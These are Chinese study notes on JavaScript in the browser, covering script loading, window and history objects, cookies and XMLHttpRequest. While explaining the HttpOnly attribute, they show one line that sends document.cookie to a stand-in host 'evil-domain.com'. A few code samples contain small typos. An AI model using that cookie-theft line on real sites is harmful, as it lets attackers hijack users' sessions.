JavaScript笔记--浏览器环境
Table of Contents
浏览器环境概述
JavaScript代码嵌入网页的方法
- <script>标签: 代码嵌入网页
- <script>标签: 加载外部脚本
- 事件属性: 代码写入HTML元素的事件处理属性, 如
onclick
或onmouseover
- URL协议: URL支持以
javascript:
协议的方式, 执行JavaScript代码
<script>标签: 代码嵌入网页
<script type="application/javascript"> console.log('hello world'); </script>
其中, type
属性用来指定脚本类型, 默认为JavaScript, 因此可以不写.
如果 type
值是浏览器不认识的, 则脚本不会执行.
<script>标签: 加载外部脚本
<script src="example.js"></script>
如果脚本文件使用了非英语字符, 还要注明编码.
<script charset="utf-8" src="example.js"></script>
加载外部脚本和直接添加代码块, 这两种方法不能混用.
事件属性
<div onclick="alert('Hello')"></div>
URL协议
URL支持 javascript:
协议, 调用这个URL时, 就会执行JavaScript代码.
<a href="javascript:alert('Hello')"></a>
<script>标签
<script>位置
一般放在页面底部, 因为如果脚本是外部加载的, 网络情况不好时会加载很长时间, 而加载外部脚本时, 浏览器会暂停页面的渲染, 因为JavaScript可以修改DOM, 必须把控制权给它, 否则会导致复杂的线程竞赛问题. 先加载页面再加载JavaScript, 可以让用户不必对着空白的页面. 且放在末尾, DOM结构肯定已经生成, 不存在线程竞赛问题.
<head> <script> console.log(document.body.innerHTML); </script> </head> <body> </body>
上面的代码一定会报错, 因为 document.body
元素还没生成.
解决办法:
回调:
<head> <script> document.addEventListener( 'DOMContentLoaded', function (event) { console.log(document.body.innerHTML); } ); </script> </head>
或使用<script>的 onload
属性, 当<script>标签指定的外部脚本文件下载和解析完成时, 会触发一个load事件, 可以把所需执行的代码, 放在这个事件的回调函数里面.
<script src="jquery.min.js" onload="console.log(document.body.innerHTML)"> </script>
defer属性
defer
属性可以推迟 外部JavaScript
的下载, 解决脚本文件下载阻塞网页渲染的问题.
不能和 document.write()
共用.
async属性
作用同上, 但是是使用另一个进程来下载脚本. 两个属性同时存在时, async
优先.
但是, 该属性不能保证脚本的执行顺序. 所以并不是说它可以完全替代 defer
.
脚本的动态加载
加载脚本时使用的协议
<script src="example.js"></script> <script src="https://example.js"></script> <script src="//example.js"></script> // 根据页面本身的协议来决定加载协议
浏览器
为了节省开销, 尽量避免重流和重绘. 技巧:
- 读取DOM或者写入DOM,尽量写在一起,不要混杂
- 缓存DOM信息
- 不要一项一项地改变样式,而是使用CSS class一次性改变样式
- 使用document fragment操作DOM
- 动画时使用absolute定位或fixed定位,这样可以减少对其他元素的影响
- 只在必要时才显示元素
- 使用window.requestAnimationFrame(),因为它可以把代码推迟到下一次重流时执行,而不是立即要求页面重流
- 使用虚拟DOM(virtual DOM)库
window对象
概述
window
对象是指当前的浏览器窗口, 是所有对象的顶层对象. JavaScript规定, 浏览器环境的所有全局变量, 都是 window
对象的属性.
var a = 1; window.a // 1
window对象的属性
- window.window: 与this等价
- window.name: 当前浏览器窗口的名字
- window.location: 当前窗口的URL信息
- window.closed: 窗口是否关闭
- window.opener: 返回打开当前窗口的父窗口, 如果没有父窗口, 则返回
null
- window.frames: 返回一个类似数组的对象, 成员为页面内所有框架窗口
- window.length: 返回当前网页包含的框架总数. window.frames.length
=
window.length - window.screenX, window.screenY: 返回浏览器窗口左上角相对于当前屏幕左上角的水平距离和垂直距离
- window.innerHeight, window.innerWidth: 返回网页在当前窗口中可见部分的调试和宽度, 即"视口", 当用户放大或缩小网页时, 该属性会变
- window.outerHeight, window.outerWidth: 返回浏览器窗口的高度和宽度
- window.pageXOffset, window.pageYOffset: 返回页面的水平/垂直滚动距离
navigator对象
window.navigator
指向一个包含浏览器信息的对象.
navigator.userAgent: 返回浏览器的User-Agent字符串, 标示浏览器的厂商和版本信息. 可以大致识别手机浏览器, 方法是测试是否包含 mobi|android|touch|mini
字符串.
navigator.plugins: 返回一个类似数组的对象, 成员是浏览器安装的插件.
navigator.platform: 返回用户的OS信息.
navigator.onLine: 返回用户当前在线还是离线.
navigator.geolocation: 返回的信息包含用户地理位置的信息.
navigator.cookieEnabled: 返回布尔值, 表示浏览器是否能储存Cookie.
window.screen对象
screen.height, screen.width: 返回设备分辨率 screen.availHeight, screen.availWidth: 返回屏幕可用的高度和宽度 screen.colorDepth: 返回屏幕的颜色深度
window对象的方法
window.moveTo(): 移动浏览器窗口到指定位置(该位置相对于屏幕左上角)
window.moveBy(): 移动窗口到一个相对位置(该位置相对于窗口左上角)
window.scrollTo(): 将网页的指定位置, 滚动到浏览器左上角(该位置相对于整张网页)
window.scrollBy(): 将网页向右, 向下滚动
window.open(): 新建窗口, 很多浏览器默认不允许脚本自动新建窗口, 因此需要检查是否新建成功 if( null =
window.open(...) )
window.print(): 跳出打印对话框
window.getComputedStyle(): 接收一个HTML元素为参数, 返回一个包含该HTML元素的最终样式信息的对象
window.focus(): 激活指定当前窗口
window.getSelection(): 返回一个Selection对象, 表示用户现在选中的文本, toString()可转成字符串
多窗口操作
window.top: 顶层窗口 window.parent: 父窗口 window.self: 当前窗口 parent.history.back(): 让父窗口的访问历史后退一次
还有一些变量与上面的变量对象的, 提供给 open()
, <a>标签
, <form>标签
等引用.
_top: 顶层窗口
_parent: 父窗口
_blank: 新窗口
<a href="somepage.html" target="_top">Link</a>
iframe标签
对于 iframe
嵌入的窗口, document.getElementById()
可以拿到该窗口的DOM节点, 然后使用 contentWindow
属性获得 iframe
节点包含的 window
对象, 使用 contentDocument
属性获得包含的 document
对象.
只有当父页面与 iframe
页面来自同一个域名, 两者之间才可以用脚本通信, 否则只能使用 window.postMessage()
.
frames属性
window
对象的 frames
属性返回一个类似数组的对象, 成员是所有子窗口的 window
对象, 可以使用这个属性, 实现窗口之间的互相引用.
事件
load事件和onload属性
load
事件发生在文档在浏览器窗口加载完毕时, window.onload
属性可以指定这个事件的回调函数.
window.onload = function() { var elements = document.getElementsByClassName('example'); for (var i = 0; i < elements.length; i++) { var elt = elements[i]; // ... } };
弹框
alert(): 只有"确定"按钮, 一般用来通知用户某些信息. prompt(): 可以让用户输入信息, 有"确定"和"取消"按钮. confirm(): 有"确定"和"取消"按钮, 一般用来征询用户的意见.
history对象
window
有一个 history
对象, 用来保存浏览历史.
history.length: 当前窗口访问的网址数
history.back(): 返回
history.forward(): 前进
history.go(): 移动到指定的页面. history.go(-1)相当于后退一步, history.go(1) 相当于history.forward()
返回上一页时, 页面通常是从浏览器缓存中加载, 而不是要求服务器发送新的网页.
history.pushState()
该方法可以添加历史记录. 新加的历史记录必须与当前网址处于同一个域.
history.replaceState()
该方法可以修改历史记录, 将当前的网址修改成另一个网址, 但必须与当前网址处于同一个域.
history.state属性
返回当前页面的 state
对象.
如 www.example.com/page=1, state对象就是 page=1.
popstate事件
当同一个窗口的history对象发生变化时, 就会触发该事件.
但是, 仅仅调用 pushState()
或 replaceState()
并不会触发该事件, 只有点击了浏览器的后退或前进按钮, 或调用了 back(), forward(), go()
时, 都会触发该事件.
页面第一次加载时, 不会触发该事件.
Cookie
Cookie
是服务器保存在浏览器上的一小段文本信息, 大小不超过4KB, 每次浏览器向服务器发出请求, 都会自动附上这段信息.
作用: 分辨两个请求是否来自同一浏览器; 保存信息.
适用场景: 保存登录, 购物车等需要记录的信息, 保存用户的偏好设置, 记录和分析用户行为.
不推荐用Cookie作为客户端的存储, 因为它的容量只有 4KB, 推荐使用Web storage API和IndexedDB.
Cookie包含的信息: 名字, 值, 到期时间, 所属域名(默认当前域名), 生效路径(默认当前网址)
如, 用户访问网址 www.example.com, 服务器向浏览器写入一个 Cookie(浏览器可以拒绝接受). 这个 Cookie 就会包含 www.example.com 这个域名以及根路径 /. 意思是这个Cookie对该域名的根路径和它的所有子路径都有效. 如果路径设为 /forums, 那么这个 Cookie 只有在访问 www.example.com/forums 及其子路径时才有效. 以后, 浏览器一旦访问这个路径, 浏览器就会附上这段 Cookie 发送给服务器.
window.navigator.cookieEnabled: 浏览器是否接受 Cookie document.cookie: 当前网页的 Cookie
如果单个域名的 Cookie 超过了 4KB, 则超出部分将被忽略.
浏览器的同源政策: 如果两个网址域名和端口相同, 就可以共享本地的 Cookie. 所以 http://example.com 可以读取 https://example.com 的 Cookie.
Cookie 与 HTTP 协议
Cookie 由 HTTP 协议生成, 为 HTTP 协议服务.
生成 Cookie
如果服务器想在浏览器保存 Cookie, 要在 HTTP 响应的信息头中, 加入 Set-Cookie 字段:
HTTP/1.0 200 OK Content-type: text/html Set-Cookie: yummy_cookie=choco Set-Cookie: tasty_cookie=strawberry
这表示生成了两个 Cookie(每个浏览器为单个域名的 Cookie 数量和大小限制不同, 一般是不能超过 30 个 Cookie, 每个大小不超过 4KB), 第 1 个 Cookie 名为 yummy_cookie, 值为 choco.
除了 Cookie 名称之外, 我们还可以设置许多其他属性.
Cookie 的属性
Expires, Max-Age
Expires: 指定 Cookie 的到期时间, 到期后浏览器不再保留该 Cookie; 它的值是 UTC 格式, 可以使用 Date.prototype.toUTCString() 进行格式转换. 注意, 这个时间以浏览器本地时间为准, 所以服务器不能依赖自己的时间来判断 Cookie 是否过期.
Max-Age: 指定 Cookie 从现在开始可以存在的秒数.
如果使用了 Cookie, 却未设置 Expires 或 Max-Age 属性, 则 Cookie 只在当前会话有效, 如果浏览器窗口关闭, 该 Cookie 就会被删除; 如果同时设置了 Expires 和 Max-Age 属性, 则 Max-Age 优先.
Domain, Path
Domain: 指定浏览器发出 HTTP 请求时, 哪些域名要附带这个 Cookie. 如果没有指定, 则浏览器默认将当前 URL 的一级域名作为 Domain 对应的值.
Path: 指定当浏览器发出 HTTP 请求时, 哪些路径要附带这个 Cookie. 如: Path 属性的值是 /, 则 /docs 路径也会包含该 Cookie.
Secure, HttpOnly
Secure: 指定浏览器只有在 HTTPS 加密协议下, 才将该 Cookie 发送到服务器.
HttpOnly: 指定该 Cookie 无法通过 JavaScript 脚本获取, 如: Document.cookie, XMLHttpRequest对象, Request API. 这样可以防止该 Cookie 被脚本读到. 只有浏览器发出 HTTP 请求时, 才会带上该 Cookie. 如果未指定该属性, 恶意脚本可以通过类似如下操作, 将当前网页的 Cookie 发到第三方服务器:
(new Image()).src="http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
实例
Set-Cookie: id=a2fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
修改 Cookie
如果服务器想要修改一个已经设置过了的 Cookie, 则必须至少匹配: Cookie 的 key, domain, path, secure 四个属性. 如, 原始的 Cookie 内容如下:
Set-Cookie: key1=value1; domain=example.com; path=/blog
正确的改法:
Set-Cookie: key1=value2; domain=example.com; path=/blog
错误的改法:
Set-Cookie: key1=value2; domain=example.com; path=/
由于改错了, 导致又生成了一个新的 Cookie, 所以当下一次访问 example.com/blog 时, 会发送两个 Cookie, 这两个 Cookie 的名称相同:
Cookie: key1=value1; key1=value2
注意, Cookie 名是 key1, 名有值, 值是 value1, value2.
document.cookie
如果 Cookie 没有 HttpOnly 属性, 则可以通过 document.cookie 来读写当前网页的 Cookie.
如果当前的网页有 key 分别为 foo 和 baz 的两个 Cookie, 则 document.cookie 会将它们都读取出来:
document.cookie // "foo=bar;baz=bar" var cookies = document.cookie.split(';'); for (var i=0; i<cookie.length; i++) { console.log(cookies[i]); } // foo=bar // baz=bar
document.cookie 还可以写入 Cookie:
document.cookie = "foo=bar; expires=Fri, 31 Dec 2020 23:59:59 GMT"; // 或者 document.cookie = 'fontSize=14; ' + 'expires=' + someDate.toGMTString() + '; ' + 'path=/subdirectory; ' + 'domain=*.example.com';
注意, Cookie 中的 = 两边不能有空格.
删除 Cookie
只有一个办法删除 Cookie, 那就是把它的 Expires 属性设为一个过去的日期.
发送 Cookie
浏览器向服务器发送 HTTP 请求时, 每个请求都会自动带上相应的 Cookie(如果有的话). 即, 把服务器保存在浏览器的信息又发回给了服务器. 如:
GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: yummy_cookie=choco; tasty_cookie=strawberry
这里发送了两个 Cookie.
AJAX
概述
浏览器与服务器之间采用HTTP协议通信. 1999年, 微软公司首次允许JavaScript脚本向服务器发起HTTP请求. AJAX成为脚本发起HTTP通信的代名词.
AJAX包括以下几个步骤:
- 创建AJAX对象
- 发出HTTP请求
- 接收服务器传回的数据
- 更新网页数据
即: AJAX通过原生的XMLHttpRequest对象发出HTTP请求, 得到服务器返回的数据后, 再进行处理.
AJAX可以是同步请求, 也可以是异步请求, 多数情况下是异步请求, 因为同步会对浏览器有"堵塞效应".
XMLHttpRequest对象
XMLHttpRequest对象用来在浏览器与服务器之间传送数据.
var ajax = new XMLHttpRequest(); ajax.open('GET', 'http://www.example.com/page.php', true); ajax.onreadystatechange = handleStateChange; // 指定回调函数监听通信状态(readyState属性)
拿到服务器返回的数据, AJAX不会刷新整个网页, 而是只更新相关部分, 从而不打断用户正在做的事情.
XMLHttpRequest对象的典型用法:
var xhr = new XMLHttpRequest(); // 指定通信过程中状态改变时的回调函数 xhr.onreadystatechange = function(){ // 通信成功时,状态值为4 if (xhr.readyState === 4){ if (xhr.status === 200){ console.log(xhr.responseText); } else { console.error(xhr.statusText); } } }; xhr.onerror = function (e) { console.error(xhr.statusText); }; // open方式用于指定HTTP动词、请求的网址、是否异步 xhr.open('GET', '/endpoint', true); // 发送HTTP请求 xhr.send(null);
XMLHttpRequest的属性
readyState
只读, 表示XMLHttpRequest请求当前所处的状态.
- 0: 对应常量UNSENT, 表示XMLHttpRequest实例已经生成, 但是open()方法还没有被调用.
- 1: 对应常量OPENED, 表示send()方法还没有被调用, 仍然可以使用setRequestHeader(), 设定HTTP请求的头信息.
- 2: 对应常量HEADERS_RECEIVED, 表示send()方法已经执行, 并且头信息和状态码已经收到.
- 3: 对应常量LOADING, 表示正在接收服务器传来的body部分的数据, 如果responseType属性是text或者空字符串, responseText就会包含已经收到的部分信息.
- 4: 对应常量DONE, 表示服务器数据已经完全接收, 或者本次接收已经失败了.
onreadystatechange
onreadystatechange属性指向一个回调函数, 当readystatechange事件发生的时候, 这个回调函数就会调用, 并且XMLHttpRequest实例的readyState属性也会发生变化.
response
只读, 返回接收到的数据体.
responseType
指定服务器返回的数据类型.
类型有: "": 字符串(默认值); "arraybuffer"; "blob": 适合读取二进制数据, 如图片 "document": 适合返回XML文档的情况 "json"; "text": 适用于大多数情况
var xhr = new XMLHttpRequest(); xhr.open('GET', '/path/to/image.png', true); xhr.responseType = 'blob'; xhr.onload = function(e) { if (this.status == 200) { var blob = new Blob([this.response], {type: 'image/png'}); // 或者 var blob = oReq.response; } }; xhr.send();
responseText
只读, 返回从服务器接收到的字符串.
var data = ajax.responseText; data = JSON.parse(data);
responseXML
只读, 返回从服务器接收到的Document对象.
如果本次请求没有成功, 或者数据不完整, 或者不能被解析为XML或HTML, 该属性等于null.
status
只读, 返回本次请求所得到的HTTP状态码.
基本上, 只有2xx和304的状态码, 表示服务器返回是正常状态.
if (ajax.readyState == 4) { if ( (ajax.status >= 200 && ajax.status < 300) || (ajax.status == 304) ) { // Handle the response. } else { // Status error! } }
statusText
与status类似, 但信息类似"200 OK".
timeout
timeout属性等于一个整数, 表示多少毫秒后, 如果请求仍然没有得到结果, 就会自动终止. 如果该属性等于0, 就表示没有时间限制.
事件监听接口
XMLHttpRequest第一版只能对 onreadystatechange
这一事件指定回调函数. 第二版允许对更多的事件指定回调函数.
onloadstart 请求发出 onprogress 正在发送和加载数据 onabort 请求被中止,比如用户调用了abort()方法 onerror 请求失败 onload 请求成功完成 ontimeout 用户指定的时限到期,请求还未完成 onloadend 请求完成,不管成果或失败
xhr.onload = function() { var responseText = xhr.responseText; console.log(responseText); // process the response. }; xhr.onerror = function() { console.log('There was an error!'); };
withCredentials
withCredentials属性是一个布尔值, 表示跨域请求时, 用户信息(比如Cookie和认证的HTTP头信息)是否会包含在请求之中, 默认为false. 即向example.com发出跨域请求时, 不会发送example.com设置在本机上的Cookie(如果有的话).
XMLHttpRequest的方法
abort()
用来终止已经发出的HTTP请求.
ajax.open('GET', 'http://www.example.com/page.php', true); var ajaxAbortTimer = setTimeout(function() { if (ajax) { ajax.abort(); ajax = null; } }, 5000);
发出5s之后终止AJAX请求.
getAllResponseHeaders()
返回服务器发来的所有HTTP头信息.
getResponseHeader()
返回HTTP头信息指定字段的值.
open()
指定发送HTTP请求的参数. 有5个参数:
method:表示HTTP动词,比如“GET”、“POST”、“PUT”和“DELETE”。 url: 表示请求发送的网址。 async: 格式为布尔值,默认为true,表示请求是否为异步。如果设为false,则send()方法只有等到收到服务器返回的结果,才会有返回值。 user:表示用于认证的用户名,默认为空字符串。 password:表示用于认证的密码,默认为空字符串。
send()
send方法用于实际发出HTTP请求。如果不带参数,就表示HTTP请求只包含头信息,也就是只有一个URL,典型例子就是GET请求;如果带有参数,就表示除了头信息,还带有包含具体数据的信息体,典型例子就是POST请求。
GET:
ajax.open('GET' , 'http://www.example.com/somepage.php?id=' + encodeURIComponent(id) , true ); // 等同于 var data = 'id=' + encodeURIComponent(id)); ajax.open('GET', 'http://www.example.com/somepage.php', true); ajax.send(data);
POST:
var data = 'email=' + encodeURIComponent(email) + '&password=' + encodeURIComponent(password); ajax.open('POST', 'http://www.example.com/somepage.php', true); ajax.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); ajax.send(data);
FormData类型可以用于构造表单数据.
var formData = new FormData(); formData.append('username', '张三'); formData.append('email', 'zhangsan@example.com'); formData.append('birthDate', 1940); var xhr = new XMLHttpRequest(); xhr.open("POST", "/register"); xhr.send(formData);
上面的代码构造了一个formData对象,然后使用send方法发送。它的效果与点击下面表单的submit按钮是一样的。
<form id='registration' name='registration' action='/register'> <input type='text' name='username' value='张三'> <input type='email' name='email' value='zhangsan@example.com'> <input type='number' name='birthDate' value='1940'> <input type='submit' onclick='return sendForm(this.form);'> </form>
FormData也可以由现有表单构造生成。
var formElement = document.querySelector("form"); var request = new XMLHttpRequest(); request.open("POST", "submitform.php"); request.send(new FormData(formElement));
setRequestHeader()
用于设置HTTP头信息。该方法必须在open()之后、send()之前调用。
overrideMimeType()
XMLHttpRequest的事件
readyStateChange事件
progress事件
上传文件时,XMLHTTPRequest对象的upload属性有一个progress,会不断返回上传的进度。
假定网页上有一个progress元素:
<progress min="0" max="100" value="0">0% complete</progress>
文件上传时,对upload属性指定progress事件回调函数,即可获得上传的进度。
function upload(blobOrFile) { var xhr = new XMLHttpRequest(); xhr.open('POST', '/server', true); xhr.onload = function(e) { ... }; // Listen to the upload progress. var progressBar = document.querySelector('progress'); xhr.upload.onprogress = function(e) { if (e.lengthComputable) { progressBar.value = (e.loaded / e.total) * 100; progressBar.textContent = progressBar.value; // Fallback for unsupported browsers. } }; xhr.send(blobOrFile); } upload(new Blob(['hello world'], {type: 'text/plain'}));
load事件、error事件、abort事件
load事件表示服务器传来的数据接收完毕,error事件表示请求出错,abort事件表示请求被中断。
loadend事件
abort、load和error这三个事件,会伴随一个loadend事件,表示请求结束,但不知道其是否成功。
文件上传
HTML网页的<form>元素能够以四种格式,向服务器发送数据。
- 使用POST方法,将enctype属性设为application/x-www-form-urlencoded,这是默认方法。
<form action="register.php" method="post" onsubmit="AJAXSubmit(this); return false;"> </form>
- 使用POST方法,将enctype属性设为text/plain。
<form action="register.php" method="post" enctype="text/plain" onsubmit="AJAXSubmit(this); return false;"> </form>
- 使用POST方法,将enctype属性设为multipart/form-data。
<form action="register.php" method="post" enctype="multipart/form-data" onsubmit="AJAXSubmit(this); return false;"> </form>
- 使用GET方法,enctype属性将被忽略。
<form action="register.php" method="get" onsubmit="AJAXSubmit(this); return false;"> </form>
文件上传
<form id="file-form" action="handler.php" method="POST"> <input type="file" id="file-select" name="photos[]" multiple/> <button type="submit" id="upload-button">上传</button> </form>
file控件的multiple属性,指定可以一次选择多个文件;如果没有这个属性,则一次只能选择一个文件。
把选中的文件添加到表单对象上.
var fileSelect = document.getElementById('file-select'); var files = fileSelect.files; var formData = new FormData(); for (var i = 0; i < files.length; i++) { var file = files[i]; if (!file.type.match('image.*')) { continue; } formData.append('photos[]', file, file.name); }
使用Ajax方法向服务器上传文件:
var xhr = new XMLHttpRequest(); xhr.open('POST', 'handler.php', true); xhr.onload = function () { if (xhr.status !== 200) { alert('An error occurred!'); } }; xhr.send(formData);
除了使用FormData接口上传,也可以直接使用File API上传:
var file = document.getElementById('test-input').files[0]; var xhr = new XMLHttpRequest(); xhr.open('POST', 'myserver/uploads'); xhr.setRequestHeader('Content-Type', file.type); xhr.send(file);
Generated by Emacs 25.x(Org mode 8.x)
Copyright © 2014 - Pinvon - Powered by EGO